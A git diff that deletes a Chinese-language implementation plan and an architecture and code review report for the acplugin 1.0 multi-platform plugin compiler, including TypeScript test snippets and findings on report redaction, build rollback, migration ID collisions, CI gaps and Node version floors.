arguments supplied with this explicit invocation')` 做了语义改写,但 301-325 的 command 循环只报了 component(transform,309)与 argumentHint(degraded,316),从未把 {{arguments}}→自然语言这条转换单独记账。 - -**具体改动:** - -adapters.ts:282-289 改条件与 reason: -``` - if (hasMeaningfulMatcher(options.matcher) - && name !== 'PreToolUse' - && name !== 'PostToolUse' - && name !== 'PermissionRequest') { - context.reportCompatibility({ - subject: `hook:${hook.id}`, - capability: 'matcher', - level: 'degraded', - reason: `Codex only honors matcher on tool events; it is ignored for ${name}.`, - }); - } -``` -codex/components.ts:在 command 循环 component 兼容行(结束于 315)之后、argumentHint 块之前插入: -``` - if (command.body.includes('{{arguments}}')) { - context.reportCompatibility({ - subject: `command:${command.id}`, - capability: 'arguments', - level: 'transform', - transformation: 'The {{arguments}} placeholder becomes natural-language guidance.', - reason: 'Codex Skills cannot substitute Command arguments, so the placeholder is rewritten as descriptive text.', - }); - } -``` - -**边界与连带:** 确定性:两处输入均为稳定工程字节/事件名,includes 判定确定。Strict 影响:transform 不触发 COMPATIBILITY_STRICT(codex platform.test.ts:170 中 command:release=transform 且 strict 构建成功已证),故新增 arguments 行不会破坏 release 的 strict 构建;非-tool matcher 的 degraded 才会在 strict 下失败,但那正是期望(把此前静默的语义损失显式化)。连带:canonicalHooks(hooks.test.ts:240)只在 PreToolUse(tool,排除)与 Stop(非-tool,原本已 degraded)设 matcher,其余事件无 matcher —— 因此 all-events 测试(hooks.test.ts:357)不产生新 degraded 行,result.success 仍为 true,377-382 仍过;codex Stop 专项(hooks.test.ts:740)行为不变。{{arguments}} 行会给 release(body 含 {{arguments}},platform.test.ts:57)与 deploy(platform.test.ts:194)各加一条,但相关断言均用 arrayContaining/toContainEqual,且已确认仓库无对 compatibility 的穷举 toEqual/快照,SKILL.md golden 不含 compat。 - -**测试:** packages/extensions/hooks/test/hooks.test.ts 新增(仅配 codex,避免 claude 结论干扰,模式仿 hooks.test.ts:769): -``` -it('degrades Codex matcher on every non-tool event, not only Stop', async () => { - const root = await createProject({ - hooks: [{ id: 'boot', definition: `{ event: 'SessionStart', matcher: 'startup', run() {} }` }], - configImports: `import { codex } from ${JSON.stringify(acpluginEntry)};`, - configFields: 'platforms: [codex()], build: { strict: true },', - }); - const strict = await runProject({ cwd: root, command: 'validate', mode: 'production' }); - expect(strict.success).toBe(false); - expect(strict.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT', platform: 'codex' })); - const relaxed = await runProject({ cwd: root, command: 'validate', mode: 'production', strict: false }); - expect(relaxed.compatibility).toContainEqual(expect.objectContaining({ platform: 'codex', subject: 'hook:boot', capability: 'matcher', level: 'degraded' })); -}); -``` -packages/platforms/codex/test/platform.test.ts 在既有 release 用例(146)追加断言: -``` -expect(result.compatibility).toContainEqual(expect.objectContaining({ subject: 'command:release', capability: 'arguments', level: 'transform' })); -``` - -**验收:** 1) 带 matcher 的 SessionStart(非-tool)在 Codex 报 matcher degraded,strict 下失败、relaxed 下保留 degraded;2) Stop/UserPromptSubmit 行为不变;3) 含 {{arguments}} 的 Command 产出 capability='arguments' level='transform' 兼容行,不影响 strict 成功;4) all-events(hooks.test.ts:357)与 Stop 专项、codex golden 全绿。 - -**工作量:** M | **独立分支:** 是 | **风险:** 改的是兼容性报告契约:若 packages/test 有跨平台 compatibility 汇总/golden(已 grep 未发现穷举断言)需回归;matcher 规则以仓库自有模型(tool 事件=PreToolUse/PostToolUse/PermissionRequest)为准,若后续对 Codex 支持面有更精确认定需同步该三元。 - - ---- -## 待确认清单(⚠️ 落地前需拍板) - -1. **⚠️ P5 — 公开扩展包 engines 一致性:** 是否让 `-extension-hooks` 与 `-extension-mcp` 也随主包把 `engines.node` 提到 `>=22.18`(发布组 3 包一致)、CI `node-version` 是否同步。二选一:全改 12 处 + CI,或明确接受只改 4 处(主包+core+test+根)。默认先只改 4 处。 -2. **⚠️ P14 — dev 缓存的“工具版本指纹”(R1):** 运行期看不到 tsdown/rolldown semver。可选代理:(a) `process.versions.node` + `pnpm-lock.yaml` 内容 hash(推荐,lockfile 变即失效);(b) 退一步只用 `ACPLUGIN_VERSION`。需选定。 -3. **⚠️ P16-e — `SEMVER_PATTERN` 语义分歧:** 六平台 semver 正则有有意的严格度差异,盲目合一属 spec 变更须产品确认。**默认不合一**,只合并真正等价的纯 helper;`findCanonicalDocument` ROI 低可跳过。 -4. **P16 优先级锁定:** P16-c churn 最大(12+ 文件、10+ 调用点),若平台/Core 改动先落地会增加合并成本 —— 需锁定 P16 先行(已在顺序说明注明)。 -5. **P2 — success 语义有意变化:** 构建成功但 buildEnd 抛错时 `success=true`(诊断仍带一条 error 级 `*_BUILD_END_FAILED`)。符合拍板;已核查无“success===true 即无 error 诊断”耦合。仅供知悉。 -6. **P17d-6 / P17d-2 时效前提:** MCP tree-shake 断言依赖 dist 未混淆导出名;Claude 字段注释基于当前 reference/SchemaStore 事实。若发布构建启用混淆或上游 schema 变,按注释里的退路调整。 diff --git a/acplugin-1.0-review.md b/acplugin-1.0-review.md deleted file mode 100644 index 266328b..0000000 --- a/acplugin-1.0-review.md +++ /dev/null @@ -1,203 +0,0 @@ -# acplugin 1.0 重构 / 品牌升级 —— 架构与代码 Review 报告 - -> **历史审计材料:** 本文记录修复前的 review 快照,不是当前实施权威。实际施工以 `.llmdoc-tmp/specs/acplugin-1.0-hardening-spec.md`、对抗复核后的方案及当前源码/稳定 `llmdoc/` 为准。 - -> 审阅对象:`@tokenroll/acplugin` 1.0(TokenRoll)—— 平台中立 Plugin 作者工程 + CLI,将同一工程编译为 Claude Code、Codex、Cursor、Antigravity、OpenCode、Pi 六个平台的原生交付单元,外加 Hooks / MCP 两个可选官方 Extension。 -> 基准规范:`.llmdoc-tmp/specs/tokenroll-acplugin-1.0-spec.md` -> 审阅日期:2026-08-07 -> 审阅方式:主控独立通读 Core(scanner / lifecycle / transaction / contracts / documents / diagnostics / reports / config)+ 12 条子代理深读通道(Core×3、Platforms×2、Extensions、CLI、Migration、Testing/Tooling)+ 3 条外部调研通道(对比主流构建工具 / 平台 Schema 时效性 / 工具链时效性)+ 4 项高危发现的对抗式独立复核。共 16 个代理、~250 万 token、0 失败;全部 4 项复核结论为 **CONFIRMED**。 - ---- - -## 0. 结论速览(TL;DR) - -**这是一次高质量的重构。** 架构设计是本次 review 的最大亮点:固定生命周期、owner-aware add-only 文档合并、事务式全量提交、符号品牌名义类型、按 owner 隔离的产物来源授权 —— 这些不是过度设计,而是针对「一份工程 → 六个平台、强所有权 / 强确定性 / 强安全边界」这个具体问题域**比主流插件系统的默认选择更贴切**的取舍。Core 的路径安全(符号链接逐段 lstat、NFC+大小写折叠冲突检测、`..`/绝对路径拒绝)、依赖图环检测、事务崩溃恢复(同文件系统 rename、死进程锁回收、回滚保留旧输出)都达到生产级水准。 - -**工程健康度(本机实测):** `typecheck` ✅、`lint`(含 131 文件中文注释守卫)✅、`build`(含 publint + attw)✅、`test` **59/60**(唯一失败即下方 REDACT-1,且其失败依赖运行机器的环境变量 —— 这本身是一个 CI 卫生信号)。 - -**真正需要处理的问题集中在 5 处,无一是架构性缺陷:** - -| # | 严重度 | 问题 | 位置 | 复核 | -|---|--------|------|------|------| -| **F1 (REDACT-1)** | 高 | 报告脱敏用「环境变量值子串替换」这一错误原语,默认作用于 `process.env`,破坏 §18 跨机确定性并会污染合法标识符(`claude-code` → `-code`) | `core/src/diagnostics.ts:49-54,73-74`;`lifecycle.ts:220`;`reports.ts:131` | ✅ CONFIRMED ×3 | -| **F2** | 高 | `buildEnd` 清理错误在事务 `afterSwap` 内抛出,会**回滚一个已验证、已提交成功的构建**并报告为失败 —— 违反 §9.4「buildEnd 不得掩盖原始失败」 | `core/src/lifecycle.ts:704-714` | ✅ CONFIRMED | -| **F3** | 高 | Migration 无规范 ID 冲突防护:`safeId()` 多对一,冲突资源静默互相覆盖(`Promise.all` 竞争),报告却仍标记双方 `migrated` —— 静默数据丢失 + 虚假成功报告 | `acplugin/src/migration/index.ts:221-225,1350-1358,1591-1611` | ✅ CONFIRMED | -| **F4** | 高 | PR CI(`check.yml`)只跑 lint+typecheck,**从不运行测试或构建**;tarball/consumer 验收只存在于手动脚本 | `.github/workflows/check.yml:21-22` | ✅ CONFIRMED | -| **F5** | 高(时效) | `engines.node: ">=20"` 已过时且自相矛盾:Node 20 于 2026-04-30 EOL,ESLint 10 要求 ≥20.19,tsdown 0.22 根本不支持 Node 20(需 ≥22.18);构建能过仅因开发机是 Node 22.21 | 三个公开包 `package.json` + 规范 §4.1 + `AGENTS.md` | 外部调研 | - -除此之外还有一批中/低优先项(重复代码、二级平台兼容矩阵测试缺失、确定性测试缺口、注释守卫防漂移等),详见第 4~7 节。 - ---- - -## 1. 审阅范围与方法 - -- **主控独立通读**(作为子代理结论的交叉校验,非二手):`scanner.ts`、`lifecycle.ts`、`transaction.ts`、`contracts.ts`、`documents.ts`、`diagnostics.ts`、`reports.ts`、`config.ts`、`artifacts.ts`、`run-project.ts`、`migration/index.ts`、`tsdown.config.ts`、`check-comments.mjs`、CLI JSON 输出路径。 -- **12 条内部深读通道**:core-lifecycle / core-datamodel / core-scanner / platforms-primary(Claude,Codex) / platforms-secondary(Cursor,Antigravity,OpenCode,Pi) / extensions(Hooks,MCP) / acplugin-cli / migration / testing-tooling。每条逐文件比对规范 MUST/MUST NOT。 -- **3 条外部调研通道**:① 与 Vite/Rollup/unplugin/esbuild/changesets/oclif 等主流方案对比架构取舍;② 用各平台 2026 官方文档核验生成的 manifest 形状;③ 核验 TS7/rolldown/tsdown/Vitest4/ESLint10/Node/ESM/pnpm-catalog 的时效与风险。 -- **对抗式复核**:对 correctness/security/determinism/spec 类高危发现,另派独立代理重读源码、默认怀疑、能否证伪。4 项全部 CONFIRMED。 - -> 说明:所有「已确认」缺陷均有 `file:line` 证据并经复核;数据丢失 / 崩溃类问题一项也没有出现。4 项高危复核最终都定级为 `high` 而非 `critical` —— 因为即便触发,事务完整性仍保证磁盘要么是旧的完整输出、要么是新的完整输出,不会损坏。 - ---- - -## 2. 架构评估:设计是否合理 - -**总体:合理,且多处优于主流默认。** 逐项对照主流方案: - -### 2.1 明确是「强项」的设计(保留) - -- **固定、不可重排的生命周期(Platform-then-Extension,配置顺序,§9.4 十五步)。** 主流 Vite/Rollup 需要 `enforce`/`order` 是因为互不知晓的 userland 插件在**共享可变模块图**上争抢;acplugin 的问题域相反 —— 封闭的 6 平台 + 2 官方 Extension,且每个 document 字段只有唯一写者。用「配置顺序 = 执行顺序 + 单写者」从构造上消除了争抢,§10.2 的报告/产物确定性顺序自然成立。这是比 Rollup 更贴合、接近 esbuild「不给顺序保证、让你合并成一个插件」哲学的正确取舍。 -- **owner-aware add-only `DocumentAddPatch`(对比主流 deep-merge)。** `patchDocument` 强制:父路径必须已存在且为对象、目标字段必须不存在(禁止 replace/remove/move/数组 append/隐式 deep-merge)、扩展点必须由 Platform 预声明且为空、每字段记录 Extension owner、重复写入直接冲突报错。deep-merge 的经典故障(同 key 静默 last-writer-wins、数组歧义)正是 §10.2 所禁止的非确定性;此处是对主流默认的**刻意且正确的反转**。(主控独读 `documents.ts` 逐行确认:`isEmptyField`/`addField` 用 `Object.hasOwn` 使 `__proto__` 污染 fail-closed,克隆时按 `localeCompare` 排序键 → 字节稳定序列化。) -- **事务式全量提交 + 崩溃恢复。** wx 锁文件 + 死进程 `kill(pid,0)/ESRCH` 回收、同级 stage 目录保证同文件系统 rename 原子性、旧 outDir 留作 backup、swap/afterSwap 失败回滚、下次取锁时清理中断事务/陈旧 stage、`AggregateError` 同时保留原始与回滚错误。这**高于同生态标准**(多数打包器 rimraf+write,崩溃即残缺输出),且精确匹配 §10.3「失败必须保留上一份完整输出、不得只提交成功平台」。 -- **「用户配置不进编译器」边界。** Platform 只拿到深度冻结的 JSON options 快照,`normalizeJsonValue` 拒绝非普通对象/函数/非有限数/循环引用;`runProject` 只暴露 cwd/config/command/mode/platform 子集/strict/commit,无 Compiler Registry / 可变 Draft / 写回调逃逸口。配合按 owner 隔离、无共同父目录的产物来源授权,构成真正的多 owner 隔离安全边界(§18 威胁模型)。主流插件系统不做是因为它们的插件都是同等可信的 userland;acplugin 因为跨了 jiti 动态加载边界,做得更严是**对的**。 -- **符号品牌名义类型。** 编译期 `declare const brand: unique symbol`(零运行时成本,防裸字符串冒充 id)+ 运行时模块私有 Symbol(在信任边界重校验 brand+apiVersion+shape)。因为配置经 jiti 从用户 TS 动态加载,运行时校验是必需的,不是镀金。 -- **Draft → 只读快照 → Core 密封 DeliveryUnit 的状态窄化。** 比 Rollup 恒可变的 `OutputBundle` 更干净,且使「Platform 必须序列化每个 Document、透传每个继承 Artifact」这一不变量可校验(`lifecycle.ts:621-636` 缺失即抛错);密封时附 sha256+size+mode 正是事务落盘后重新哈希校验的前提。 -- **Extension build-once / adapter-reuse。** 与 unplugin「中立核心 + 逐目标适配」同理,但 adapter 是带 apiVersion 握手的一等契约、且「一 Extension 对一 Platform 唯一 adapter、bridge 与官方冲突是配置期错误而非隐式覆盖」比 unplugin 的隐式合并更严格。 - -### 2.2 架构层面的弱点 / 缺口 - -- **W1(中)无缓存 / 增量能力,但 §18 明确 MUST 一个 content/config/tool-version keyed 的 dev cache。** 现实现里 `dev` 每次防抖变更全量重跑 `executeProject`,jiti 显式关闭缓存(`project-config.ts:141` `moduleCache:false, fsCache:false`)。这是**实现与自身规范矛盾**的一处:`build-once extension bundle` 那条 §18 要求做到了,但 dev cache 这条完全没有。6 个小平台下全量重建在体感上可接受,所以作为产品缺口是次要的,作为 spec-conformance 缺口是真实的 —— **要么实现,要么把该 MUST 降级为 MAY**(推荐后者,符合 YAGNI)。 -- **W2(中,规范表述)串行执行 + 「未来并行不得改变可观察顺序」是未预算的承诺。** 平台严格串行(`lifecycle.ts:510`),对 6 目标是合理的(YAGNI);但平台本就独立(隔离 workDir、无共享可变状态),规范承诺「未来并行不改变可观察顺序」并非一行代码 —— 现有单一共享 `DiagnosticCollector` 未按此结构化,真要并行需先做「按平台分桶 → 配置顺序合并」。建议在规范里注明该承诺的代价,避免被读成「免费」。 -- **A1(架构一致性,中)六个平台包 + 两默认平台间大量小工具函数逐字复制。** `report`/`isRecord`/`isNonEmptyString`/`SEMVER_PATTERN`/`serializeDocuments` 守卫/引用与路径安全 helper 在 6 个平台里各写一份;Codex 包内甚至有**三个行为等价但实现不同**的路径安全函数(`isSafeSkillPath` split、`isSafePluginReference` posix.normalize、`isSafeCodexPluginPath` split)。今天等价,但没有任何东西保证它们保持一致 —— 在「强确定性」姿态下,多份 `SEMVER_PATTERN`/`isRecord` 的潜在漂移是真实维护风险。建议把**平台无关的纯 helper**(不含平台语义,故不违反 §3「Core 不知具体平台」)提升到 Core 内部共享模块,并把 Codex 三个路径函数收敛为一个。 - ---- - -## 3. 已确认缺陷(详情、影响、修复建议) - -### F1 / REDACT-1(高,跨 3 个通道 + 3 次独立复核确认)—— 报告脱敏原语选错 - -**根因:** `diagnostics.ts:49-54` 的 `environmentValues()` 收集**每一个**长度 ≥4 的 `process.env` 值,`sanitizeReportText`(:73-74)对每个值做 `safe.split(v).join('')` —— **无边界的子串替换**,不是 token/词边界匹配。而 `executeLifecycle`(`lifecycle.ts:220` `request.environment ?? process.env`)与 `serializeBuildResult`(`reports.ts:131`,CLI 在 `cli.ts:62` 不传 options)都**默认落到 `process.env`**。 - -**双重危害(复核逐条复现):** -1. **确定性(违反 §18 / 验收标准 8):** `process.env` 不在 §18 列举的确定性输入内(工程字节、command/mode、Platform/Extension 版本、Node major、lockfile),却参与脱敏 → 同一工程字节在不同机器产出不同报告字节。本机 `SUPERSET_AGENT_ID=claude` / `SHELL=claude` 触发 `claude-code` → `-code`、`.claude-plugin/plugin.json` → `.-plugin/plugin.json`(这正是唯一失败测试的根因)。 -2. **正确性:** 对结构字段(platform id、document id、artifact path)盲目子串替换,会污染任何恰好包含 ≥4 字符 env 值子串的**合法文本**:复核实测 `1.0.0`(`npm_package_version`)、`true`(`CI`)、`main`(`GIT_BRANCH`)、`node`(`_`)均被改写。用户读来 debug 的 `diagnostic.message`/`compatibility.reason`/`metadata.reason` 会被静默改成 ``。CLI `--json` 里 `artifacts[].path` 被污染后指向磁盘上不存在的路径(磁盘从 `finalUnits` 原始字节提交,仍正确,于是**报告与磁盘 desync**)。 - -**为什么现有兜底不够:** `reports.ts:117-133` 的 `protectedValues` 只排除**完全相等**的 schema/身份值 —— `claude`(`claude-code` 的严格子串)不在其中,仍被替换;且该兜底只在 `serializeBuildResult` 路径,`createBuildResult` 返回给 `runProject()` 调用方的**程序化 BuildResult 完全没有保护**。这证明子串方案无法逐字段打补丁修好。 - -**修复(在共享函数一次修复所有 caller):** -- 删除 env 值子串替换整条逻辑;真正的密钥已由结构化手段可靠处理(`SECRET_KEY_PATTERN` 脱敏凭据形对象键、`Bearer/Basic/token=` 正则脱敏内联凭据、路径剥离)。正确姿态是**在源头就不把密钥值放进报告文本**(§18 本就禁止为声明读取 Secret 值),而不是事后用机器本地 env 快照去 grep(既过度包含污染真实文本、又不足包含漏掉任何不在当前 env 或经过变换的密钥)。 -- `executeLifecycle` 停止默认 `process.env`,脱敏环境默认空 → 报告与机器无关。 -- 若仍要保留机器密钥兜底:只对显式声明的密钥引用(Hook/MCP descriptor 已声明它们读哪些 env 变量,§14)生效,且只作用于 free-text message/reason/hint,**绝不**碰 id/path/code 等结构字段。 -- **配套测试**(见 F4/测试缺口):用一个含 `claude`/`1.0.0` 等平台 id 子串的真实 env-like map 跑完整 lifecycle,断言 platform id / path 完好。 - -### F2(高,复核确认)—— buildEnd 清理错误回滚已成功的构建 - -**根因:** commit 分支里 `finalize()`(会执行所有 platform/extension 的 `buildEnd`)被放进 `commitDeliveryUnits` 的 `afterSwap` 回调(`lifecycle.ts:708-712`)。`afterSwap` 在 `output-swapped` 之后、删除 backup 之前触发(`transaction.ts:388→407`)。若任意 `buildEnd` 抛错或发出 error 级诊断(`PLATFORM_/EXTENSION_BUILD_END_FAILED` 均 severity=error),`afterSwap` 重新抛出 → `commitUnitRoots` 把它当作 swap 失败:`fs.rm(resolved)` 删掉**刚刚换入、已通过 Registry + 候选校验的新输出**,再 `rename(backup, resolved)` 恢复旧 dist。于是一个通过全部 13 步的成功构建被拆毁,`committed` 停在 false、`success` 变 false —— 纯粹因清理阶段错误,正是 §9.4 禁止的「buildEnd 掩盖(此处是制造)失败」。 - -**影响:** 第三方或官方 platform/extension 的 `buildEnd` 抛错(Windows 上临时目录 EBUSY、日志错误等)会**销毁并回滚用户的 dist**、把成功 `build` 报成失败;期间还有一个 dist 短暂缺失的 I/O 窗口;且成功/失败取决于清理期环境 → 破坏确定性。缓解点(决定它是 high 而非 critical):回滚落到一致状态(旧 dist 完整、无残缺、无损坏),且仅在 buildEnd 真的抛错时触发。**现有唯一 buildEnd 失败测试走的是 `validate`(不提交)路径,commit 路径的 afterSwap→回滚从未被测试覆盖。** - -**修复:** 不要用 buildEnd 结果去 gate 事务 afterSwap。让 commit 完全完成(删 backup)后,在外层 finally 里跑 `finalize()`(与 non-commit 路径一致),把 buildEnd 错误记为诊断但**不下调 committed/success**。afterSwap 里不应放任何「本该回滚 swap」之外的工作(此处没有)。 - -### F3(高,复核确认)—— Migration 规范 ID 冲突导致静默数据丢失 - -**根因:** `safeId()`(`index.ts:221-225`)多对一:`my_tool`/`my-tool`/`My Tool` 都 → `my-tool`;无字母数字的名字 → 常量 `migrated-item`。全代码库**没有任何** emitted-ID/destination 注册表(各处 `new Set(...)` 都是字段白名单或关键词去重)。`copyText` 是 `fs.writeFile` = 静默覆盖。 - -**后果链(复核在每个位置确认):** -- Skills:`destination = src/skills//SKILL.md`,无条件 push 一个 `migrated` item,写入在 `Promise.all(writes)`(:1358)下 —— 冲突 id 竞争、幸存者不确定、双方都被报告为成功。命令/agent/MCP 同样静默覆盖(MCP 顺序写入 → 确定性覆盖但仍双报)。 -- `--all` workspace:`projectRoot = path.join(stage, safeId(plugin.meta.name))`(:1597)—— 同名 marketplace plugin 共享一个 stage 目录、互相覆盖 `acplugin.config.ts`/`package.json`,且 `projects.push(id)` 两次 → `pnpm-workspace.yaml` 出现重复 glob。 -- **报告谎报成功:** 诊断只来自 `validateCanonicalProject` 重扫磁盘幸存文件,对 `items` 零可见性 —— 单个幸存 skill 校验通过 → `success=true`,而 `items` 仍列两者为 mapped。**违反 §17.2(每资源结论必须准确)与 §18(相同输入字节稳定输出)。** - -**修复:** 维护 per-kind 的 emitted 规范 ID 集合(及 `--all` 的 per-stage workspace 目录集合)。冲突时确定性消歧(如 `-2`)或把落败资源标 `unmapped`/`degraded` 并给稳定原因,使任何写入都不被静默覆盖、报告反映真实。 - -### F4(高,复核确认)—— CI 不跑测试与构建 - -**根因:** `check.yml` 唯一的 run 步骤是 `pnpm run lint` 与 `pnpm run typecheck`,**没有 `pnpm test`、没有 `pnpm build`**(除手动 `patch.yml` 外无其他 workflow)。全工作区 174 个 `it()` 与 tsdown 构建从不在 PR 上自动执行。 - -**影响:** 破坏任意测试或破坏 tsdown 构建的 PR 会绿灯通过必需 CI。§19.2.11 把 lint/typecheck/test/build/package-verification 都列为验收门,CI 只强制了前两个。尤其构建是「六个私有平台被内联进公开包」的环节 —— 一个**不可构建的发布**可能无人察觉地合入。附带:§19.1.12 的 tarball/publint/attw/clean-consumer/Pi-pack 验收只存在于手动 `release:verify` 脚本,任何自动门都不跑它。 - -**修复:** 给 `check.yml` 加 `pnpm run test` 与 `pnpm run build`(或直接 `pnpm run check`);再加一个 job(至少在发布分支)跑 `pnpm run release:verify`,让 tarball/consumer 层被自动 gate 在 publish 之前。 - -### F5(高 / 时效)—— Node 20 floor 已过时且自相矛盾 - -**根因:** 三个公开包 + 规范 §4.1 + `AGENTS.md` 均声明 `engines.node ">=20"`。但 Node 20 已于 **2026-04-30 EOL**;ESLint 10.8 要求 `^20.19||^22.13||>=24`;**tsdown 0.22.14 要求 `^22.18||>=24.11`,根本不支持任何 Node 20**;构建能过仅因开发机是 Node 22.21。 - -**影响:** `">=20"` 已内部不一致且指向 EOL 运行时。Node 20.0–20.18 的消费者过不了 ESLint 自身引擎检查;开发/构建工具链在任何 Node 20 上都跑不起来。对一个把「Node major」作为确定性输入(§18)的产品,一个 EOL、自相矛盾的 floor 是真实缺陷。 - -**修复:** 三公开包 + 根 + 规范 §4.1 + `AGENTS.md` 的 `engines.node` 抬到 `">=22.18"`(或 `"^22.13 || >=24"` 对齐 ESLint)。若发布产物仍需 node20 目标(emitted 插件 target:node20 与开发工具链是两回事),把两者拆开:保留 emitted bundle 的 `target:'node20'`,但把开发/CI floor 声明为 22.18+。**不要在 1.0 宣传一个连自己构建工具都拒绝的 EOL 运行时。** - ---- - -## 4. 与主流方案 / 其他构建工具对比(是否有短板或过时) - -> 结论:**架构取舍普遍站得住脚**,多处优于主流默认(见 §2.1)。真正的「短板/过时」只有两处:W1 缺 dev 增量缓存(且与自身 §18 矛盾)、F5 Node floor 过时。工具链其余选择是**成熟押注而非预发布赌博**。 - -### 4.1 平台 Manifest / Schema 时效性(用各平台 2026 官方文档核验生成输出) - -**整条通道结论:稳。** 六个生成器都匹配当下官方形状,文件位置全部正确(`.claude-plugin/plugin.json`、`.codex-plugin/plugin.json`、`.cursor-plugin/plugin.json`、Antigravity 根 `plugin.json`、`opencode.json`、Pi `package.json`),golden fixture 带 2026-08-06 核验日期(§21),两个 schema 易变平台(Antigravity 单字段、Pi)处理保守正确。**未发现**过时/改名/删除的必填字段、错误文件位置或能力误分类。 - -- **Claude Code(陷阱,非 bug):** acplugin 输出的 `displayName` 与 `defaultEnabled` 在公共 SchemaStore JSON Schema 里**没有**,但在官方 plugins-reference 里**有且是当下字段** —— 即 acplugin 正确、社区 schema 滞后。**务必不要**为「对齐 SchemaStore」而删掉这两个合法字段。(建议在 `PLUGIN_FIELDS` 旁加一行注释注明此事 + `defaultEnabled` 需 Claude Code ≥v2.1.154。) -- **Codex:** 最详尽的通道,`.codex-plugin/plugin.json` + `interface` 子对象 + `.agents/plugins/marketplace.json` + `source` 对象形态 + 安装策略枚举 + `ON_INSTALL` 全字段匹配当下 Codex 文档。 -- **Cursor:** fixture 与权威 GitHub `plugin.schema.json` 逐字段匹配(`additionalProperties:false`、`author` 无 `url`(故 `CURSOR_METADATA_AUTHOR_URL_OMITTED` 警告正确)、glob 路径形态)。 -- **OpenCode / Antigravity / Pi:** MCP local/remote 形状、`{env:NAME}` 插值、workspace 无静态 manifest、Antigravity 单字段 + 逐字段 omitted 警告、Pi `pi` key + `pi-package` keyword + image/video 全部匹配当下文档。 - -### 4.2 与打包器 / CLI / 发布工具的架构对比 - -- **固定生命周期 vs Vite/Rollup 的 enforce/order:** acplugin 更贴合(封闭平台集、单写者),不是倒退。 -- **add-only owner patch vs deep-merge:** acplugin 更优(确定、冲突可检、可归属)。 -- **事务提交 vs 主流 rimraf+write:** acplugin 高于同生态标准。 -- **CLI 选 Commander vs oclif/citty/clipanion:** 正确的「懒」选择 —— acplugin 的扩展性在 Platform/Extension 模型里(从 `acplugin.config.ts` 加载),**不**想要 oclif 的 CLI 插件(那会是第二个竞争性扩展面、绕过 §16.4 的口子)。Commander 固定命令集 + 低启动 + 小依赖足矩。 -- **短板:** 串行无并行逃逸口(W2,可接受但规范承诺未预算);**无 dev 增量缓存(W1)** —— 每次防抖全量重跑,是唯一「实现落后于自身规范」之处,主流(unbuild stub、Vite transform cache、Rollup watch 增量、changesets 只处理变更包)都有某种增量。建议把 §18 该 MUST 降为 MAY(此规模全量重建可接受),不要给 `build` 加增量(与事务全量提交刻意不兼容)。 - -### 4.3 工具链时效与风险 - -**整体成熟,不是「TS7 预览 / 两个 TypeScript 包」听起来的赌博。** -- **TypeScript 7.0 已于 2026-07-08 GA**(`@typescript/native` = `typescript@7.0.2`,暴露 `tsc`);dts 用 `generator:'oxc'` 绕开 TS7 尚未 GA 的程序化 emit API(预计 7.1),声明完整生成(core 52KB)且经 attw+publint gate —— 这正是官方推荐的过渡策略。 -- **双 TypeScript 是正确的、有据可查的官方过渡模式**(`typescript`=`@typescript/typescript6@6.0.2` 暴露 `tsc6`,仅供 typescript-eslint 与中文注释 AST 检查器使用,它们还需 7.1 才会重新暴露的旧 JS 编译器 API)。唯一成本是认知负担(`typescript` 实为 v6、`@typescript/native` 实为 v7,读起来反直觉)—— 建议加一行注释,并把「7.1 落地后删除 `tsc6` 回退」作为显式技术债。 -- **Rolldown 1.0(2026-05-07 稳定)** 是链条里最稳的一环;Vitest 4.1.10 / ESLint 10 + flat config 都是当下稳定主版本。 -- **两个真实脚印:** ① F5 Node floor(见上);② **tsdown 仍是 0.x**(0.22,minor 间有破坏性变更),却是三个 1.0 公开包唯一构建工具 —— 建议在 catalog 里把 tsdown 从 `^` 收紧为**精确/波浪号**(`~0.22.14`),让 minor 升级成为**刻意**动作,并把「发布前 dist 字节 diff」接入 `release:verify`(§18/§19.2.8 本就要求可复现输出)。**不要**退回 tsup —— Rolldown/oxc 底座是对的长期押注。 -- **次要:** 两个 Extension 包的 `tsdown.config.ts` **缺 attw/publint gate**(主包有)—— §19.1.12 要求三个 tarball 都过 publint+类型检查,建议补齐;`isolatedDeclarations` 未开启但处处用 oxc dts 快路径(其假设 ID 兼容)—— 建议在 `tsconfig.base.json` 开 `isolatedDeclarations:true` 把该假设变成编译期强制(主包已证明代码 ID-clean,改动近零)。 - ---- - -## 5. 各通道逐项评估 - -### Core(3 条通道)—— 全部「设计良好、忠于规范」 -- **lifecycle:** 15 步顺序、per-platform 失败隔离(`errorCount` checkpoint + `removePlatform`)、buildEnd 严格逆序、事务全量提交/恢复均正确。缺陷仅 F2。次要:`pendingArtifacts` 在 adapter emit 后抛错有未处理 Promise rejection 窗口(中,`lifecycle.ts:557-580`,建议对每个 push 的 promise 挂 `.catch` 或用 `allSettled`);per-object buildEnd `status` 在一次运行内可能标注不一致(低,建议进循环前算一次终态传给所有 buildEnd)。 -- **data-model:** 符号品牌不可伪造、add-only patch 正确、深冻结/普通对象强制彻底、产物来源逐段符号链接检查、`hashFile` 流式。缺陷仅 F1 及其兜底不完整(reports 两条路径 env 集合不一致 —— 建议删除 env 子串脱敏后合并为单一脱敏边界)。低:`sortObject`/`cloneJson` 注释声称 localeCompare 键序,但 V8 对整数样式键强制数值序(确定但注释不准,建议改注释或转义数值键);localeCompare('en') 依赖 ICU 版本(§18 只钉 Node major,small-icu 构建可能漂移 —— 建议对 id/path 类稳定键改用 code-unit 比较)。 -- **scanner:** 符号链接分层防御(含祖先逐段 lstat `SOURCE_ROOT_SYMLINK`)、NFC+大小写折叠冲突、DFS 环检测带完整环路径、frontmatter fatal UTF-8 + `uniqueKeys`、Command-cannot-be-required 由 kind 限定图键天然成立、辅助文件字节+mode 保留 —— 均正确。**唯一真缺陷(中):** Public copy `to` 目标归一化忽略反斜杠为分隔符(`scanner.ts:926,934`),而 config 层(`config.ts:248`)把反斜杠当分隔符做 `..` 检查 → Windows 路径冲突盲点 + 跨 OS 非确定性(`to:'sub\\file.txt'` 与 `to:'sub/file.txt'` 在 POSIX 被当两个目标、在 Windows 是同一物理路径静默覆盖)。建议 `finalizePublicFiles` 也用 `split(/[\\/]/).join('/')`。 - -### Platforms —— 「构建良好、贴合规范」,主要弱点是**测试** -- **Claude/Codex(primary):** manifest 根结构、Codex 命令/agent→Skill fallback + 大小写 id 冲突校验、元数据去向、marketplace 自包含无远程副作用、兼容等级全部匹配 §12/§11.2/§15。`haiku`/`sonnet` 是 Claude 自家稳定别名、§12.2 明确允许(no-hardcoded-model 规则只针对 Cursor/OpenCode),非违规。手写严格 SVG 解析器是因 `image-size` 太宽松的合理偏离。弱点:~12 个 helper + marketplace 